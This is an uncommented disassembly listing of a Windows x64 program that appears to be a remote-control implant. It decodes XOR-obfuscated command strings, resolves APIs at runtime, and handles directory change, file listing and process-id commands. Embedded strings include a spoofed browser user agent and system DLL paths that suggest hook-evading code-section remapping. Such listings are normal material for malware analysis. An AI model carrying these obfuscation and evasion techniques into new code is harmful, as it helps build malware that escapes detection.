cmp r8, 0x13
ja 0x14000be49
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0x52000000
xor r8d, dword [rax + rdx + 0x43b8]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x14000be0f
mov al, byte [rax + 0x43bc]
xor al, 0xfb
mov byte [rsp + 0x194], al
movdqa xmm0, xmmword [rsp + 0x180]
lea rcx, [rsp + 0x5f0]
movdqa xmmword [rcx], xmm0
mov rax, qword [rsp + 0x18d]
mov qword [rcx + 0xd], rax
call fcn.14001dd7b
test rax, rax
je 0x14000d7a7
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor r14d, r14d
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9, r12
call rax
lea rax, [0x140096fbf]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x183], 0
and dword [rsp + 0x180], 0
mov r8b, 1
lea rcx, [0x1400a6a58]
push 4
pop rdx
test r8b, 1
je 0x14000bf3c
movzx r8d, byte [r14 + rcx]
mov r9, r14
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r10, r14
or r10, 3
mov r11, r14
or r11, 2
movzx r11d, byte [r11 + rcx]
movzx r10d, byte [r10 + rcx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + r14 + 0xfd6a]
mov dword [rsp + r14 + 0x180], r9d
xor r8d, r8d
mov r14, rdx
jmp 0x14000bee0
movzx ecx, byte [rax + 0xfd70]
movzx eax, word [rax + 0xfd6e]
xor eax, 0x4e5f
xor cl, 8
lea rdx, [rsp + 0x180]
mov r8d, dword [rdx]
mov dword [rdx], r8d
mov byte [rdx + 6], cl
mov word [rdx + 4], ax
push 7
pop r8
mov rcx, qword [rsp + 0x88]
call fcn.140011183
mov rcx, rsi
mov rdx, qword [rsp + 0xb0]
call fcn.140010c6f
mov rdi, qword [rsp + 0x98]
jmp 0x14000c520
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000bfd1
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0xc5000000
xor r8d, dword [rax + rdx + 0xd29]
mov dword [rsp + rdx + 0x5f8], r8d
add rdx, 4
jmp 0x14000bf97
mov qword [rsp + 0xb0], rdi
mov eax, dword [rsp + 0x5f8]
lea rcx, [rsp + 0x890]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x5f0]
mov qword [rcx], rax
push 0xc
pop rdx
call fcn.1400822af
lea rcx, [0x1400d2a6c]
mov qword [rsp + 0x5f0], rcx
mov rcx, qword [rsp + 0x5f0]
and qword [rsp + 0x5f0], 0
mov r10b, 1
xor r8d, r8d
lea rdx, [0x1400d5759]
push 8
pop rdi
test r10b, 1
je 0x14000c0dc
movzx r11d, byte [r8 + rdx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rdx]
mov rsi, r8
or rsi, 2
movzx ebx, byte [rsi + rdx]
mov rsi, r8
or rsi, 3
movzx r14d, byte [rsi + rdx]
mov rsi, r8
or rsi, 4
movzx r15d, byte [rsi + rdx]
mov rsi, r8
or rsi, 5
movzx r12d, byte [rsi + rdx]
mov rsi, r8
or rsi, 6
mov r9, r8
or r9, 7
movzx r13d, byte [rsi + rdx]
movzx r9d, byte [r9 + rdx]
shl r9, 0x38
shl r13, 0x30
or r13, r9
shl r12, 0x28
shl r15, 0x20
shl r14, 0x18
shl rbx, 0x10
shl r10, 8
or r10, r11
or r10, rbx
or r10, r14
or r10, r15
or r10, r12
or r10, r13
xor r10, qword [rcx + r8 + 0x2edf]
mov qword [rsp + r8 + 0x5f0], r10
xor r10d, r10d
mov r8, rdi
jmp 0x14000c02e
movzx ecx, word [rcx + 0x2ee7]
xor ecx, 0x5825
mov rdx, qword [rsp + 0x5f0]
lea rbx, [rsp + 0x890]
mov qword [rbx], rdx
mov word [rbx + 8], cx
mov rcx, rax
mov rdx, rbx
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14000d7a7
mov r14, rax
call qword [rsp + 0x98]
push 8
pop rdx
mov rcx, rax
mov rsi, qword [rsp + 0xb0]
mov r8, rsi
call r14
mov qword [rsp + 0xd30], rax
lea rax, [0x140081aaf]
mov qword [rsp + 0x890], rax
lea rax, [rsp + 0xd30]
mov qword [rsp + 0x898], rax
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x30], rbx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
push 2
pop r9
mov rdx, qword [rsp + 0x90]
xor r8d, r8d
call qword [rsp + 0x120]
mov rcx, qword [rsp + 0xe0]
call qword [rsp + 0x858]
mov rcx, rsi
call fcn.140011bb2
test rax, rax
je 0x14000d7a7
mov rbx, rdx
mov r12, qword [rsp + 0xd30]
mov rcx, rdx
mov dl, 1
call fcn.140010c9b
mov r14, rax
mov qword [rsp + 0x90], rdx
mov rcx, r12
mov rdx, rsi
mov r8, rax
mov r9, rbx
call fcn.140011754
lea rdi, [rsp + 0x5f0]
mov rcx, rdi
mov qword [rsp + 0xb0], r14
mov rdx, r14
mov r8, rbx
call fcn.140019de4
cmp qword [rdi], 0
je 0x14000c209
cmp byte [rsp + 0x600], 2
jne 0x14000d7a7
lea rax, [0x1400cc9de]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
and dword [rsp + 0x5f8], 0
and qword [rsp + 0x5f0], 0
mov r9b, 1
xor edx, edx
lea rcx, [0x1400d577b]
push 8
pop r15
test r9b, 1
je 0x14000c2ef
movzx r10d, byte [rdx + rcx]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, rdx
or rsi, 3
movzx edi, byte [rsi + rcx]
mov rsi, rdx
or rsi, 4
movzx r12d, byte [rsi + rcx]
mov rsi, rdx
or rsi, 5
movzx r14d, byte [rsi + rcx]
mov rsi, rdx
or rsi, 6
mov r8, rdx
or r8, 7
movzx r13d, byte [rsi + rcx]
movzx r8d, byte [r8 + rcx]
shl r8, 0x38
shl r13, 0x30
or r13, r8
shl r14, 0x28
shl r12, 0x20
shl rdi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rdi
or r9, r12
or r9, r14
or r9, r13
xor r9, qword [rax + rdx + 0x8f8f]
mov qword [rsp + rdx + 0x5f0], r9
xor r9d, r9d
mov rdx, r15
jmp 0x14000c241
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000c32b
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0x3000000
xor r8d, dword [rax + rdx + 0x8f97]
mov dword [rsp + rdx + 0x5f8], r8d
add rdx, 4
jmp 0x14000c2f1
mov eax, dword [rsp + 0x5f8]
lea rcx, [rsp + 0xae0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x5f0]
mov qword [rcx], rax
push 0xc
pop rdx
call fcn.1400822af
lea rcx, [0x1400d2951]
mov qword [rsp + 0x5f0], rcx
mov rcx, qword [rsp + 0x5f0]
and qword [rsp + 0x5f0], 0
mov r10b, 1
xor r9d, r9d
lea rdx, [0x1400d5787]
push 8
pop r8
test r10b, 1
je 0x14000c42e
movzx r11d, byte [r9 + rdx]
mov r10, r9
or r10, 1
movzx r10d, byte [r10 + rdx]
mov rsi, r9
or rsi, 2
movzx edi, byte [rsi + rdx]
mov rsi, r9
or rsi, 3
movzx r12d, byte [rsi + rdx]
mov rsi, r9
or rsi, 4
movzx r13d, byte [rsi + rdx]
mov rsi, r9
or rsi, 5
movzx r14d, byte [rsi + rdx]
mov rsi, r9
or rsi, 6
mov r15, r9
or r15, 7
movzx esi, byte [rsi + rdx]
movzx r15d, byte [r15 + rdx]
shl r15, 0x38
shl rsi, 0x30
or rsi, r15
shl r14, 0x28
shl r13, 0x20
shl r12, 0x18
shl rdi, 0x10
shl r10, 8
or r10, r11
or r10, rdi
or r10, r12
or r10, r13
or r10, r14
or r10, rsi
xor r10, qword [rcx + r9 + 0x3028]
mov qword [rsp + r9 + 0x5f0], r10
xor r10d, r10d
mov r9, r8
jmp 0x14000c381
mov cl, byte [rcx + 0x3030]
xor cl, 0xdc
mov r8, qword [rsp + 0x5f0]
lea rdx, [rsp + 0xae0]
mov qword [rdx], r8
mov byte [rdx + 8], cl
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x14000d7a7
mov rdi, rax
call qword [rsp + 0x98]
mov r8, qword [rsp + 0xd30]
mov rcx, rax
xor edx, edx
call rdi
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xb0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rbx
mov r13, qword [rsp + 0xa8]
jmp 0x14000b31b
mov rax, qword [rsp + 0x5f8]
lea rsi, [rsp + 0xae0]
mov qword [rsi], rax
lea rax, [rsp + 0x890]
mov qword [rax], rsi
lea rcx, [0x1400fb828]
lea rdx, [rsp + 0x180]
mov qword [rdx], rcx
push 1
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
lea r8, [0x14008bd5a]
mov qword [rax + 8], r8
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [rsi]
call fcn.140003ed2
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
call fcn.140010c6f
mov rcx, qword [rsp + 0xa0]
mov rdx, rdi
jmp 0x14000c606
shr r14, 1
mov rbx, qword [r12]
mov rsi, qword [r12 + 8]
mov rax, rbx
shr rax, 1
cmp rax, r14
je 0x14000c5a7
lea rdi, [rsp + 0x180]
test rsi, rsi
jne 0x14000c5a7
mov rcx, rdi
call fcn.1400024ec
mov rsi, qword [r12 + 8]
jmp 0x14000c54f
and edi, 0x1f
cmp rdi, 0x1f
jne 0x14000c588
mov rcx, rsi
call fcn.140001e1e
mov rdi, qword [rsi + 0x3e0]
mov rcx, rsi
call fcn.14000323b
mov rsi, rdi
jmp 0x14000c5a3
shl rdi, 5
lea rcx, [rsi + rdi]
call fcn.140001dc6
mov rcx, qword [rsi + rdi]
mov rdx, qword [rsi + rdi + 8]
call fcn.140010c6f
add rbx, 2
mov rdi, rbx
shr rdi, 1
cmp rdi, r14
jne 0x14000c563
test rsi, rsi
je 0x14000c5bf
mov rcx, rsi
call fcn.14000323b
and rbx, 0xfffffffffffffffe
mov qword [r12 + 8], 0
mov qword [r12], rbx
mov al, 1
xchg byte [r12 + 0x190], al
test al, al
je 0x14000c5e6
mov rcx, r12
call fcn.1400031a9
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xd8]
call fcn.140010c6f
mov rcx, qword [rsp + 0xa0]
mov rdx, r13
call fcn.140099645
mov rax, qword [rsp + 0xb8]
mov r14, qword [rax]
mov rdx, qword [rax + 8]
mov rcx, r14
call fcn.140010c6f
movaps xmm6, xmmword [rbp + 0xf00]
movaps xmm7, xmmword [rbp + 0xf10]
movaps xmm8, xmmword [rbp + 0xf20]
lea rsp, [rbp + 0xf38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [0x14009aa50]
lea r8, [rsp + 0x180]
mov qword [r8], rax
mov rax, qword [r8]
movzx eax, word [rax + 0xc3d1]
xor eax, 0xba39
mov word [r8], ax
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
push 2
pop rbx
mov r9, rbx
call fcn.14001282a
test al, al
je 0x14000c8be
mov rdi, qword [rsp + 0x138]
cmp rsi, 1
jbe 0x14000cb40
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
add rcx, rax
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
mov qword [rdx + 8], rcx
and word [rdx + 0x10], 0
lea rbx, [rsp + 0x5f0]
mov rcx, rbx
call fcn.14008cfae
xor esi, esi
mov rcx, rbx
xor edx, edx
call fcn.14008a076
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x14000c6f8
call fcn.14003f61f
mov rsi, rax
mov rdx, qword [rsp + 0x5f8]
mov rcx, rbx
call fcn.140085aa1
test rsi, rsi
je 0x14000ccf1
mov rcx, rsi
call fcn.140003ed2
lea rdx, [0x1400a6c07]
push 0x1a
jmp 0x14000a1a2
lea r14, [rsp + 0x180]
mov dword [r14 + 0xc0], 0x8000000
lea r15, [rsp + 0x890]
mov rcx, r15
mov rdx, r14
call fcn.14008d7d4
mov rcx, r14
call fcn.140003f17
cmp qword [r15], 0
je 0x14000cabb
lea r14, [rsp + 0x180]
lea rdx, [rsp + 0x890]
mov rcx, r14
call fcn.140004c79
cmp byte [r14 + 0x20], 2
jne 0x14000d7a7
lea rdx, [rsp + 0x8a8]
lea r14, [rsp + 0x180]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0xd40], rax
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0xd30], xmm0
mov rcx, r14
call fcn.140004c79
cmp byte [r14 + 0x20], 2
jne 0x14000d7a7
lea rdx, [rsp + 0x180]
mov rax, qword [rdx + 0x10]
lea r14, [rsp + 0xae0]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rdx]
movdqa xmmword [r14], xmm0
lea r15, [rsp + 0xd30]
mov qword [rsp + 0x5f0], r15
lea rax, [0x1400c1168]
mov qword [rdx], rax
lea rax, [0x140004f6b]
mov qword [rsp + 0x5f8], rax
push 2
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
mov qword [rsp + 0x600], r14
mov qword [rsp + 0x608], rax
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], rcx
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call fcn.140010c6f
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.140010c6f
jmp 0x14000cb20
mov rax, qword [rsp + 0x5f8]
lea rsi, [rsp + 0xae0]
mov qword [rsi], rax
lea rax, [rsp + 0x890]
mov qword [rax], rsi
lea rcx, [0x1400fb828]
lea rdx, [rsp + 0x180]
mov qword [rdx], rcx
push 1
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
lea r8, [0x14008bd5a]
mov qword [rax + 8], r8
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [rsi]
call fcn.140003ed2
jmp 0x14000c520
lea rax, [0x1400a486b]
lea r8, [rsp + 0x180]
mov qword [r8], rax
mov rax, qword [r8]
movzx ecx, byte [rax + 0x25ba]
movzx eax, word [rax + 0x25b8]
xor eax, 0x20f9
xor cl, 0x89
mov byte [r8 + 2], cl
mov word [r8], ax
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
push 3
pop r9
call fcn.14001282a
test al, al
je 0x14000cb57
mov qword [rsp + 0x90], rbx
lea rax, [rsp + 0x890]
mov qword [rax], 2
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r8d, 0x200
xor edi, edi
mov ebx, 0xffffffff
xor r12d, r12d
cmp r8, 0x201
jae 0x14000c954
lea r14, [rsp + 0x180]
mov esi, 0x200
mov r15, r8
jmp 0x14000c99a
sub r8, r12
lea rcx, [rsp + 0x890]
mov rdx, r8
call fcn.140084968
mov r14, qword [rsp + 0x890]
mov rdi, qword [rsp + 0x898]
cmp rdi, rbx
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rsp + 0x8a0], r12
mov qword [rsp + 0x90], r14
mov rsi, r12
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r15d
mov rdx, r14
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x14000c9c3
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14000cca2
mov r8d, r13d
cmp r15, r8
jne 0x14000c9f6
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000d7a7
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
mov ebx, 0xffffffff
cmovae r15, rax
mov r8, r15
jmp 0x14000c939
jb 0x14000c939
cmp rsi, r8
jb 0x14000d7a7
lea r15, [rsp + 0x5f0]
mov rcx, r15
mov rdx, r14
call fcn.140085ad0
mov sil, byte [r15 + 0x18]
mov rcx, qword [rsp + 0x90]
mov rdx, rdi
call fcn.140085aa1
cmp sil, 2
je 0x14000ccc7
mov rdi, qword [rsp + 0x5f0]
mov rax, qword [rsp + 0x600]
mov qword [rsp + 0x890], rdi
mov qword [rsp + 0x898], rax
lea rax, [rsp + 0xae0]
lea rcx, [rsp + 0x890]
mov qword [rax], rcx
lea rcx, [0x140085b5e]
lea r8, [0x1400fb828]
lea rdx, [rsp + 0x180]
mov qword [rdx], r8
push 1
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 8], rcx
mov rsi, qword [rsp + 0x5f8]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, rdi
mov rdx, rsi
jmp 0x14000cfb2
mov rax, qword [rsp + 0x898]
lea r14, [rsp + 0xae0]
mov qword [r14], rax
mov qword [rsp + 0x5f0], r14
lea rax, [0x1400fb828]
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
push 1
pop rax
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x14008bd5a]
mov qword [rsp + 0x5f8], rcx
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], rax
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [r14]
call fcn.140003ed2
mov rdx, qword [rsp + 0xf0]
mov rcx, rsi
call fcn.140010c6f
mov rcx, qword [rsp + 0xa0]
mov rdx, rbx
jmp 0x14000c606
lea rdx, [0x1400fb828]
mov rcx, qword [rsp + 0x88]
xor r8d, r8d
jmp 0x14000a1ac
lea rax, [0x14009f5ff]
lea r8, [rsp + 0x180]
mov qword [r8], rax
mov rax, qword [r8]
movzx eax, word [rax + 0x7827]
xor eax, 0x206e
mov word [r8], ax
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
push 2
pop r9
call fcn.14001282a
test al, al
je 0x14000cbd0
mov r15, qword [rsp + 0x138]
cmp rsi, 1
mov qword [rsp + 0x98], r15
jbe 0x14000cd06
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x90], rcx
test rcx, rcx
je 0x14000d5bf
mov rbx, qword [rax + 0x10]
jmp 0x14000cd0d
lea rax, [0x14009dd51]
lea r8, [rsp + 0x180]
mov qword [r8], rax
mov rax, qword [r8]
movzx ecx, byte [rax + 0x90d9]
movzx eax, word [rax + 0x90d7]
xor eax, 0xf22
xor cl, 7
mov byte [r8 + 2], cl
mov word [r8], ax
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
push 3
pop r9
call fcn.14001282a
test al, al
je 0x14000ce54
call sub.kernel32.dll_GetCurrentProcessId
lea rcx, [rsp + 0x890]
mov dword [rcx], eax
pxor xmm0, xmm0
lea rdx, [rsp + 0x180]
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
and qword [rdx], 0
movdqu xmmword [rsp + 0x5f8], xmm0
and qword [rdx + 0x10], 0
mov qword [rsp + 0x5f0], 1
mov qword [rdx + 0x20], rdi
lea rax, [0x1400a67e0]
mov qword [rdx + 0x28], rax
call fcn.140019098
test al, al
jne 0x14000d7a7
mov rax, qword [rsp + 0x600]
mov rcx, qword [rsp + 0x88]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x5f0]
movdqu xmmword [rcx], xmm0
jmp 0x14000cfb7
call fcn.14003f61f
mov qword [rsp + 0x5f0], rax
mov byte [rsp + 0x608], 2
mov rcx, qword [rsp + 0x90]
mov rdx, rdi
call fcn.140085aa1
lea rdx, str.Could_not_get_current_directoryCould_not_change_directory
push 0x1f
pop r8
mov rcx, qword [rsp + 0x88]
call fcn.140011183
mov rcx, qword [rsp + 0x5f0]
call fcn.140003ed2
jmp 0x14000cfb7
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
jmp 0x14000a1a4
lea rbx, [0x1400fb926]
mov r14, qword [rsp + 0x90]
mov rcx, r14
call fcn.1400862c7
mov r12, rax
mov r13, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x20], 1
lea r9, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rsi, [rsp + 0x890]
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.14008b674
mov r15, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rbx, [rsp + 0x180]
mov rcx, rbx
mov rdx, r15
call fcn.14008b11b
mov r14, qword [rbx]
test r14, r14
je 0x14000cfcc
mov qword [rsp + 0xb0], r15
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0xa8], r13
lea rbx, [rsp + 0x180]
mov rax, qword [rbx + 8]
mov qword [rsp + 0xc8], rax
mov r8d, 0x250
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r14
mov rdx, rbx
call qword [sym.imp.kernel32.dll_FindFirstFileW]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x14000d1a6
push 0x30
pop rcx
push 8
pop rdx
call fcn.14008a1fe
mov r12, rax
push 1
pop rax
mov qword [r12], rax
mov qword [r12 + 8], rax
mov rax, qword [rsp + 0xc0]
mov qword [r12 + 0x10], rax
mov rax, qword [rsp + 0xa8]
mov qword [r12 + 0x18], rax
mov rax, qword [rsp + 0x90]
mov qword [r12 + 0x20], rax
mov byte [r12 + 0x28], 0
mov eax, dword [rsp + 0xae0]
mov ecx, dword [rsp + 0xae3]
mov dword [r12 + 0x29], eax
mov dword [r12 + 0x2c], ecx
lea rcx, [rsp + 0x5f0]
lea rdx, [rsp + 0x180]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
push 1
pop rbx
jmp 0x14000d1b1
lea rax, [0x1400a050d]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and word [rsp + 0x184], 0
and dword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400a6b46]
push 4
pop rdx
test r9b, 1
je 0x14000cee6
movzx r9d, byte [r8 + rcx]
mov r10, r8
or r10, 1
movzx r10d, byte [r10 + rcx]
mov r11, r8
or r11, 3
mov rsi, r8
or rsi, 2
movzx esi, byte [rsi + rcx]
movzx r11d, byte [r11 + rcx]
shl r11d, 0x18
shl esi, 0x10
shl r10d, 8
or r10d, r9d
or r10d, esi
or r10d, r11d
xor r10d, dword [rax + r8 + 0x691e]
mov dword [rsp + r8 + 0x180], r10d
xor r9d, r9d
mov r8, rdx
jmp 0x14000ce8c
movzx eax, word [rax + 0x6922]
xor eax, 0x4742
lea r8, [rsp + 0x180]
mov ecx, dword [r8]
mov dword [r8], ecx
mov word [r8 + 4], ax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
push 6
pop r9
call fcn.14001282a
test al, al
je 0x14000cfff
lea rsi, [rsp + 0xae0]
mov rcx, rsi
call fcn.14000d80c
lea rbx, [rsp + 0x890]
mov rcx, rbx
call fcn.14000d7ab
mov qword [rsp + 0x5f0], rsi
lea rax, [0x1400a6b78]
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
lea rax, [0x140004f6b]
mov qword [rsp + 0x5f8], rax
push 2
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
mov qword [rsp + 0x600], rbx
mov qword [rsp + 0x608], rax
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], rcx
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.140010c6f
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.140010c6f
mov rdx, qword [rsp + 0x138]
mov rcx, qword [rsp + 0xa0]
jmp 0x14000c606
mov rsi, r12
mov r12, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x898]
mov rcx, r15
call fcn.140010c6f
mov rcx, rsi
mov rdx, r13
call fcn.140010c6f
mov r15, qword [rsp + 0x98]
jmp 0x14000d5c9
lea rax, [0x1400a3d2a]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400a6b4c]
push 8
pop rdx
test r9b, 1
je 0x14000d0db
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx esi, byte [rsi + rcx]
mov rdi, r8
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, r8
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r15, r8
or r15, 6
mov r12, r8
or r12, 7
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
or r9, r15
xor r9, qword [rax + r8 + 0x3107]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x14000d02f
mov al, byte [rax + 0x310f]
xor al, 0xa
mov rcx, qword [rsp + 0x180]
lea r8, [rsp + 0x5f0]
mov qword [r8], rcx
mov byte [r8 + 8], al
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
push 9
pop r9
call fcn.14001282a
test al, al
je 0x14000d656
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.14000d7ab
mov rdi, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rbx, [rsp + 0x5f0]
mov rcx, rbx
mov rdx, rdi
call fcn.1400111ca
mov r14, qword [rbx]
mov rdx, qword [rbx + 0x10]
lea r8, str.systemMediumSystemMozilla_5.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_GeckoC:WindowsSystem32kernel32.dllC:WindowsSystem32KernelBase.dllC:WindowsSystem32_ntdll.dll.textkernel32.dllntdll.dll
push 6
pop r15
mov rcx, r14
mov r9, r15
call fcn.140019792
mov r12d, eax
mov rdx, qword [rbx + 8]
mov rcx, r14
call fcn.140010c6f
mov rdx, qword [rsi + 8]
mov rcx, rdi
call fcn.140010c6f
lea rax, [0x1400a6c54]
lea rdx, [0x1400a6c4e]
test r12b, r12b
cmovne rdx, rax
mov rcx, qword [rsp + 0x88]
mov r8, r15
call fcn.140011183
jmp 0x14000cfb7
push 2
pop rbx
call fcn.14003f61f
mov r12, rax
mov r15, qword [rsp + 0x98]
mov rcx, r14
mov rdx, qword [rsp + 0xc8]
call fcn.140085aa1
mov rdx, qword [rsp + 0x898]
mov rcx, qword [rsp + 0xb0]
call fcn.140010c6f
cmp r13, 0xffffffffffffffff
jne 0x14000d1f9
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xa8]
call fcn.140010c6f
cmp ebx, 2
je 0x14000d5c9
lea rdi, [rsp + 0x194]
lea r15, [rsp + 0x5f0]
mov r8d, 0x254
mov rcx, rdi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x860]
mov qword [rax], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov qword [rdi - 0x14], r12
mov qword [rdi - 0xc], r13
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
lea rbx, [rsp + 0xd30]
xor eax, eax
and dword [rsp + 0x190], 0
test al, 1
jne 0x14000d2c2
mov rcx, r15
mov rdx, r12
lea r8, [rsp + 0x194]
call fcn.14008b573
mov rdi, qword [rsp + 0x5f0]
test rdi, rdi
je 0x14000d2ba
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0x90], rax
mov r8d, 0x248
lea rbx, [rsp + 0xae0]
mov rcx, rbx
lea rdx, [rsp + 0x600]
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
sete r14b
jmp 0x14000d35f
mov rcx, r15
call fcn.14008b5ca
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r13
mov rdx, rsi
call r14
test eax, eax
je 0x14000d304
mov rcx, r15
mov rdx, r12
mov r8, rsi
call fcn.14008b573
mov rdi, qword [rsp + 0x5f0]
test rdi, rdi
jne 0x14000d32e
mov rcx, r15
call fcn.14008b5ca
jmp 0x14000d2d2
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x12
je 0x14000d568
call fcn.14003f61f
mov rcx, rbx
mov rdi, rax
mov r8d, 0x248
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
